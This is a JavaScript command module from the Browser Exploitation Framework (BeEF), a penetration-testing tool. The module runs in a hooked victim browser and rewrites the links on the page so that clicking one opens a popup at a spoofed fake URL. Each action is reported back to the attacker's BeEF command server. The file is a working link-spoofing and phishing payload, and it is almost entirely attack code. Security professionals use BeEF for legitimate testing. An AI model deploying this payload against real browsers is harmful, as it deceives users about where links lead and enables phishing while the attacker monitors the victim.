// // Copyright (c) 2006-2026Wade Alcorn - wade@bindshell.net // Browser Exploitation Framework (BeEF) - https://beefproject.com // See the file 'doc/COPYING' for copying permission // var somethingsomething = function() { var fake_url = "<%= @fake_url %>"; var real_url = "<%= @real_url %>"; var newWindow = window.open(fake_url,'newWindow<%= @command_id %>','width=200,height=100,location=yes'); newWindow.document.write(''); newWindow.focus(); beef.net.send('<%= @command_url %>', <%= @command_id %>, 'result=Spoofed link clicked'); } beef.execute(function() { $j('<%= @domselectah %>').each(function() { $j(this).attr('href','#').click(function() { somethingsomething(); return true; }); }); beef.net.send('<%= @command_url %>', <%= @command_id %>, 'result=All links rewritten'); });